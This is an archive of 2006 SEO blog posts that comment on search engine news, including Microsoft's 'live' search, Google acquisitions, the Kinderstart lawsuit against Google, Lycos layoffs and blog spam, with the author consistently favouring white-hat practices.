Although links are the focus of link building, it is important to grab at opportunities that are considered traditional. Although getting a local listing (like the yellow pages) is somewhat traditional, there is a new spin on the quality since now there are identical ways to get info listed online. Superpages is a good example of an online yellow pages that supports internet listings and searches.Get listed at Google and Yahoo! local to see some extra, qualified traffic. You'll need location information for your offices, a phone number to list, a description of what you do or sell, an email address and website. For Google, you'll might want to use your Google account, which you already have if you've signed up for Gmail, Adwords, Google Sitemaps or any other online based Google product. Local search is becoming more important to your business so start by using their form and verification process. Basic Local Yahoo listings are free of charge just like Google Local.

Lycos Loses Search Team - Needle in a Haystack?

2006-04-07T20:44:00.000-07:00

Lycos has laid off it's team. Through the years as MSN, Yahoo! and Google came up from the dirt into the highest ranks of search, Lycos, Hotbot and more just seemed to wither into nothingness. I do remember a time when I refused to use google and stuck to hotbot... that is until hotbot began to issue irrelevant results and too much advertising!I have to say, sometime around 1997 Lycos had an awesome FTP/file search tool which was quite short lived, and needless to say, I too had no reason anymore to use them. Although this report could be taken to mean that the folks working on search are considered to be in the dangerous plumes of job loss, industry-wide, I feel it is simply the mis-mangement of a Search Engine Superstar-wanabee.Alas, Lycos has joined the living dead, and it is only a matter of time before it collapses into the clutches of a real Search Engine superstar, or worse yet, dissipates into absolute and dark nothingness.
Link: http://battellemedia.com/archives/002308.php

Matt Cutts on Google's Search Spam Removal

2006-04-07T20:43:00.000-07:00

It's been a fact that Google has been improving search engine algorithms to detect "search spam" such as doorway pages, hidden text, and other cloaking techniques that belong to the fray of "Black Hat" SEO firms and professionals. Just a minor digress... Living some time as a "white-hat hacker" it was appearent that the term "Black Hat" refered to the hackers that caused malicious damage and were purely after profit as opposed to the clean motives of the "White Hat", looking to save the day by abiding by guidelines or honor...As a white hat SEO, I understand that it can be tempting to try using cloaking techniques that at the moment work, but can easily be offset by the understanding that with risk comes consequence, and in Google's case, it is pretty severe! Right now those black hat SEO firms could be reaping the dough and traffic, then one day, ZERO. Not one visit, not one conversion. Now that is a painful online death.(Reaper image above from a Salon.com Blog)
Link: http://www.mattcutts.com/blog/ramping-up-on-international-webspam/

Google Acquires Measure Map

2006-04-07T20:42:00.001-07:00

Measure Map seems to be a really useful tool for tracking visits, posts and blog use. Now that it is part of the Google universe, It is yet another reason to use Google. Funny thing is that their "invitation" form (posted on their homepage) seems to be using AJAX, the very same implementation technology for Google Suggest.While right now this is a "cool" tool, it certainly can be as useful or more so than Google's Urchin, for Blogs, of course. While Measure Map is primarily focused on a blogger's use, I am sure SEO firms and professionals will be picking up the tool for Optimization and tracking purposes. While it lacks the complete functionality of an integrated analytics application, no doubt, with an API set, it may just do the trick...I m waiting to be invited to check out the tool in all of it's glory. Wish me luck.
Link: http://googleblog.blogspot.com/2006/02/here-comes-measure-map.html

Just When I thought it was Safe to Blog Again...

2006-04-07T20:42:00.000-07:00

A blog, right here on blogger, labelling itself as the Nexium Blog, is filling itself with garbage posts that use a bunch of expensive vocabulary words to fill in the page. At the end of every post is a link to a Gambling site.Clearly this is BLOG-SPAM, and I have seen it once before, almost similar in style... I think it may even be the same person because I swear I saw one of those gamling links before. While this certainly is not related to Website Design or SEO, I felt that it was importnat to mention... After all, it abuses the trust online that we should foster, not ravage.Additionally, This is a "black hat" tactic for gambling SEO. Clearly not smart and a waste of space, time and an abuse to all who belong.What do you think? Feedback is appreciated.

Web Wise - Getting Better Through Time

2006-04-07T20:41:00.000-07:00

This article dated on the 27th of March (Today is the 21st...), is pretty indicative of the trends surounding online marketing and SEO/SEM. I've been involved in the online world for over 12 years now and I have seen quite a few things progress. One of them is definately online tracking. This is a definate read if you are interested in the sorts of data advertising agencies and Search marketing firms acquire. If you couple those measurements with the metrics data search engines like Google and Yahoo collect/provide, you can see how truly little annomity we have online. Scary though, but the complete truth.
Link: http://www.businessweek.com/magazine/content/06_13/b3977401.htm

Microsoft launches revamped search engine

2006-04-07T20:39:00.001-07:00

Yet another article about the Microsoft initiatives to improve beyond Google's status as the defacto search engine of current. The good thing here, is that, now there are a couple more details about their new engine, plans for the near future to burst onto the scene ahead of Google and also a name for their new technology. Microsoft dubs their brand spanking new web search application, "live".Set to be replacing the current MSN engine technology, "live" will be running through a undetermined length test-phase on www.live.com and once deemed read to launch, will replace http://www.msn.com engine. Features planned to improve the technology beyond that which exists right now is tabbed searches conducted simultaneously in one window, smart pane technology which will allow for display of more or less result information according to user specifications/needs, and image searches in tandem with copy and information searches. A great possibility also lies in more natural searches conducted off of logical questions as opposed to keyword based searching which is not completely considered natural.Now, it will definately become appearent that if this becomes the star of search, I and other SEO specialists will be looking into new ways of designing search term optimization patterns, and couldA) create a more accessible method of penetration into search results orb) be detrimental to search tactics and be more of an uphill battle to get results from optimization efforts...At this time, we will just have to study, analyze and wait to find what the future brings.
Link: http://business.bostonherald.com/technologyNews/view.bg?articleid=129539

Microsoft says better than Google soon | Reuters.com

2006-04-07T20:39:00.000-07:00

I am certainly interested in this bit of news as Microsoft is making a really big claim and the correlation between their efforts with their Small Business Directory and the effects seen in the market with that directory has improved. The fact that Microsoft's Bcentral directory has been placed as one of the more important directories from a position of not even being known over the past 10 years, shows me and perhaps the rest of the SEO / SEM community that they are serious in positioning their search services in front of competitors.The question, will they succeed, is yet another issue. After all they are facing two giants, Yahoo! and Google. Google of course being the most proactive and R&D focused competitor, willing and able to try everything to dominate the search market.The most intreguing thing at this time for me is how Microsoft intends to be better than Google's 100+ point site analysis. What could they tweak or add on to their algorythm to improve search relevance and thus beat out the functionality and quality of results that Google churns out? I am sure this is on the mind of every SEO professional who has read the article.All we can do at this point is wait and see.
Link: http://today.reuters.com/news/articlenews.aspx?type=technologyNews&storyID=2006-03-01T211748Z_01_L01660811_RTRUKOC_0_US-SUMMIT-MICROSFT-GOOGLE.xml&pageNumber=0&imageid=&cap=&sz=13

Google Offers SEO Selection Guidelines

2006-04-07T20:38:00.000-07:00

As interesting a topic as this is, it holds so much in terms of emphasis for the growth and development of the SEO profession. After the search engines and concerned "netizens" began policing search engine abuses by black and grey hat SEO's back in 1999/2000, the profession began its movement to become a true profession which could garner salary and reputation worthy of the effort and improvement brought forth. No movement was greater however, than over the past 2 years where it became outrageously obvious that Search engines were clamping down on black hats, concerned "netizens" were not accepting the abuse anymore, corporations were more aware of the implication of "spamming" search engines and overall SEO professionalism became a true virtue.While I and many others have always stayed true to white hat tactics, for quite some time there was angst over the popularity and widespread underground approval or "whatever it takes" tactics for SEO's. I can safely say that the search engines: Google, Yahoo!, MSN and others are indeed doing a great job at improving algorithms in this way and that the SEO community is beginning to get serious on improving reputation and actual optimization of websites, the way it should have always been... is now becoming a reality.About time.
Link: http://searchenginewatch.com/sereport/article.php/2165161

Kinderstart Vs. Google - Who Cares?

2006-04-07T20:37:00.001-07:00

Reading this article about Kinderstart's suite against Google, it becomes immediately appearent that online marketing can be cutthroat and at times innane. In this case, I can understand the upset that Kinderstart must have experienced when 80% of its revenue was lost and 70% of its traffic vanished, however, on the same note, Google makes these updates often and that is one of the majoy risks of operating with a dependancy on one site / search engine, or portal.Operating in the SEO/SEM space, professionals like myself understand that updates can certainly "shake things up", but we move on and determine a new strategy to shift the reality of search engine filtration to our favor. As the profession grows up, we will understand how to more effectively implement a strategy that can work well for years at a time and be augmented slightly to maintain the effect.This lawsuit seems quite lame in my opinion as any one of my clients, or me for that matter, could go around suing Google willy'nilly for similar results, but in our minds, we know better. Shame on Kinderstart for starting a battle that is unjust, and hopefully nothing beneficia comes of this site for Kinderstart.Technology is a tool, not an end. There ends my rant.
Link: http://today.reuters.com/business/newsArticle.aspx?type=ousiv&storyID=2006-03-19T020938Z_01_KRA907614_RTRIDST_0_BUSINESSPRO-TECH-GOOGLE-LAWSUIT-DC.XML

Google Music Search

2006-04-07T20:37:00.000-07:00

Yet another great tool in the Google Arsenal, Music Search. Although I am not sure if this is new, I just found out about this about a week ago and although it is a fledgling technology, the promise is there. Next best thing to add to this tool to make it a killer app is to be able to play a sound byte/sample off of the search page (probably using AJAX). This would make the experience very fluid and probably allow Google or affiliates to make immediate purchases (which I know I've fallen victim to... and many others will also.).
Link: http://www.google.com/musicsearch?q=delirium&res=album

2006-04-07T20:29:00.000-07:00

What was interesting about this whole topic is that Google is testing its Google Base offering in the SERP and that the pattern by which it posts specific search terms is not known or even discussed on forums or blogs related to SEO. I know I've been using the Google Base interface for submitting real estate, events and even services. The listings look great, are easy to modify and do come up rather well in Google Base searches. The only thing I would like to and intend on studying is how Google or Google Base determines a search term should be utilized for the SERP results. For instance as is mentioned in this article, "houses for sale", "apartment for sale", and "los angeles real estate" all show the Google Base form on the SERP at top, however when you search for other locations or offerings that would be in Google, they don't necessarily come up in the results.In time it will become clear, and perhaps they might also be simply testing out a few chosen terms, thus making it relatively impossible to be sure that a theory can be applied. Check me up in a later date when I will be discussing my findings on this matter and how it can be applied to SEO related efforts.
Link: http://did-it.com/blog/index.php/2006/03/24/googlebase-integrated-into-google-serps/

2006-03-24T09:50:00.000-08:00

Flash » Epic 2015 - You've got to check out this flash storyline created by Robin Sloan and Matt Thompson, hosted over at Albinoblacksheep.com. This quasi-documentary starts of with facts based on the search engines andShopping technologies that exist and formulate a future that takes place in 2015 with the evolving of news ans search online. Cataclysmic is its undertone, but one can certainly feel that this is a relative path we may be headed toward. Traditional media destroyed in the wake of newfound corporate mega applications and data hoarding and the complete loss of annonymity. Also unsaid but certainly reverberating in the background is a soundtrack telling of a compromising security that can either doom society and plunge back into survival of the fittest in the most superficial and ancient way or, it can create communities of strength, with a diminishing crminal intent.

Either way, form your own opinions and then comment here to let me know what you think...

2006-03-21T07:56:00.000-08:00

Wiser About The Web

This article dated on the 27th of March (Today is the 21st...), is pretty indicative of the trends surounding online marketing and SEO/SEM. I've been involved in the online world for over 12 years now and I have seen quite a few things progress. One of them is definately online tracking. This is a definate read if you are interested in the sorts of data advertising agencies and Search marketing firms acquire. If you couple those measurements with the metrics data search engines like Google and Yahoo collect/provide, you can see how truly little annomity we have online. Scary though, but the complete truth.